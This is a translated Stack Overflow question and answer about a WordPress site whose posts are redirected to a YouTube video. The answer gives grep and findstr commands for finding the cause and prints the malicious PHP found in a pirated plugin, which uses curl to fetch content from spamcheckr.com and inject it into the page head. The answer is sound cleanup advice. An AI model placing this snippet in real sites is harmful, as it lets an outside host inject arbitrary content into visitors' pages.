我的 WordPress 网站面临一个重大问题。有人破解了此元标记并将其插入到某处(如下所示)
<meta http-equiv="refresh" content="0; url=http://www.youtube.com/watch?v=RFngSCaY5nA">
由于此代码,我的网站帖子被重定向到贾斯汀·比伯的 YouTube 视频。现在我无法找到此代码所在的位置以及如何删除它。
对此问题的任何帮助将不胜感激。
最佳答案
如果您有 grep(Mac 和许多其他设备上的默认设置,但 PC 上没有),则可以在终端中使用有用的小命令来检查文件夹。对于 PC,请使用 findstr 或下载 grep。如果您无法在本地访问这些文件,请下载它们或使用 ssh/telnes 远程访问它们
我使用的 grep 命令是:
grep -nr 'http://spamcheckr.com/l.php' /www/mysite/wp-content
(不要忘记将/www/mysite/wp-content 更改为您的 WordPress 网站的位置)
在 grep 中使用 -nr
选项,它将输出代码所在文件夹和文件的确切行。
对于电脑:
findstr /s /i /p "http://spamcheckr.com/l.php" /www/wordpress/wp-content
不幸的是,它可能会告诉您它位于第一行,但是当您打开该文件时,您会注意到它是一个大约 250 行长的压缩文件。不过没问题。只需使用任何打开语法突出显示的文本编辑器打开它并查找以下代码:
if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}
这将是唯一突出显示的代码,而所有其他代码将保持灰色,因为它只是为了欺骗您,实际上并没有做任何事情。然后您可以删除该代码。
您可能还想检查谁首先添加了该文件,因此只需使用上面使用的相同 grep 命令,但使用您在其中发现恶意代码的文件的名称。因此,如果文件名在includes/settings.php中在命令行中运行以下命令:
grep -nr 'includes/settings.php' /www/mysite/wp-content
该文件很可能包含在插件根目录或主题functions.php 的主php 脚本中。
它看起来像这样
包含“includes/settings.php”;
如果文件全是垃圾代码,那么您可以安全地删除该行。我还会浏览该页面,看看是否添加了其他看起来可疑的内容。
最安全的选择是完全停止使用该插件,但如果您确实需要它,您可以运行一些在线病毒检查程序,或者只是查看该插件以确保更加安全。
这些插件通常来自 wplocker/themeok.org 等网站或其他声称拥有免费高级插件的网站。底线是,这太好了,令人难以置信,他们想敲诈你,所以要么付钱给他们,要么准备好让他们和你搞砸。
顺便说一句,除此之外它可能还做了其他事情,所以我会采取其他一些安全措施,然后修复 YouTube 黑客攻击。
关于tags - WordPress 网站帖子被重定向到 Youtube 视频,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/22996398/